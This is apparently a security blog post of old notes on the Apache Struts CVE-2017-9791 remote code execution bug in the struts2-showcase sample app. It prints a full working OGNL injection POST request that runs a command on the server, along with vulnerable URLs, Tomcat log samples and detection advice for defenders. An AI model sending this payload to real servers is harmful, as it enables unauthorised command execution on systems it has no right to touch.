Travis Altman

CVE-2017-9791 exploit details

Was looking back through some of my notes and came across this write up I did for a Struts exploit. Nothing crazy but what I liked about the notes I captured was around detection on what defenders could have alerted on when this exploit came out. Enjoy!

Confirmed publicly released exploits of CVE-2017-9791 do allow remote code execution with privileges of the web server.  In recent vulnerabilities involving Struts and others it appears that most business functions follow the best practice of running the web server without admin or root privileges but of course this needs to be confirmed on a case by case basis.

The vulnerable functionality within Struts 2.3.X and below is a sample Struts application that comes bundled by default named struts2-showcase, this application is not installed by default so one would have to intentionally deploy this application.  Below is a screenshot showing it deployed.

Below is a screenshot of the vulnerable functionality within Showcase.

The URL to access this functionality is http://hostname.com/struts2-showcase/integration/editGangster.action, once there one can fill out the forms and submit the request to test the working example.  Once that request is submitted it goes to the server as a post request.

POST /struts2-showcase/integration/saveGangster.action  

Knowing if these URLs exist is one way of determining if the underlying Struts system is vulnerable as Struts 2.5.X does not contain this functionality.  Struts 2.5.X will contain the struts2-showcase application but not the Struts1 plugin. In comparing the downloads of different Struts version only the ones with the “struts2-struts1-plugin” Jar file were vulnerable.

So if the vulnerable application isn’t deployed but you had access to the file system of the web server then checking for the struts2-struts1-plugin Jar file is another way of confirming if the underlying system could be exposed in the future.

We used publicly known techniques to confirm exploitation was possible, similar to a posting here https://github.com/nixawk/labs/issues/8.  Sending a specialized URL request with a proof of concept to execute the command whoami can be seen below.

The request has to be URL encoded but the complete translation is below.

POST /struts2-showcase/integration/saveGangster.action HTTP/1.0
Content-Length: 1187
Host: 192.168.142.216:8080
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Python-urllib/2.7  

name=%{(#\_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#\_memberAccess?(#\_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&age=1337&\_\_cheackbox\_bustedBefore=true&description=blah

Here is the exploit being ran from the command line via a python script.

If logging is enabled within Tomcat it will have the individual URL requests, in Windows these logs are located in c:\Program Files (x86)\Apache Software Foundation\Tomcat\logs with the name of the log being localhost_access_log.date.  A snippet of these logs are below with the last request being the saveGangster.action request.

192.168.142.216 - - \[08/Jul/2017:20:03:51 -0400\] "GET / HTTP/1.1" 200 11418
192.168.142.216 - admin \[08/Jul/2017:20:03:53 -0400\] "GET /manager/html HTTP/1.1" 200 12398
192.168.142.216 - admin \[08/Jul/2017:20:04:40 -0400\] "POST /manager/html/upload?org.apache.catalina.filters.CSRF\_NONCE=817A45627CEDACBC2F98D9BF3B598839 HTTP/1.1" 200 14179
192.168.142.128 - admin \[08/Jul/2017:20:04:55 -0400\] "GET /manager/html HTTP/1.1" 200 14179
192.168.142.128 - - \[08/Jul/2017:20:04:55 -0400\] "GET /manager/images/tomcat.gif HTTP/1.1" 304 -
192.168.142.128 - - \[08/Jul/2017:20:04:55 -0400\] "GET /manager/images/asf-logo.svg HTTP/1.1" 304 -
192.168.142.128 - - \[08/Jul/2017:20:05:00 -0400\] "GET /struts2-showcase/index.action HTTP/1.1" 200 10870
192.168.142.128 - - \[08/Jul/2017:20:05:00 -0400\] "GET /struts2-showcase/struts/utils.js HTTP/1.1" 200 4730
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/integration/editGangster.action HTTP/1.1" 200 12001
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/struts/xhtml/styles.css HTTP/1.1" 200 1093
192.168.142.128 - - \[08/Jul/2017:20:05:07 -0400\] "GET /struts2-showcase/struts/utils.js HTTP/1.1" 200 4730
192.168.142.128 - - \[08/Jul/2017:20:10:16 -0400\] "POST /struts2-showcase/integration/saveGangster.action HTTP/1.1" 200 11408  

This remote code execution exploit has been proven to work on Windows and *nix systems.  For detection purposes simply looking for the gangster.action in logs would be a great indicator of malicious activity but not the end all be all.  There are different styles of payloads that can be used to take advantage of this vulnerability so a combination of the gangster.action plus ONGL functionality plus OS style commands will be a better indicator of malicious activity.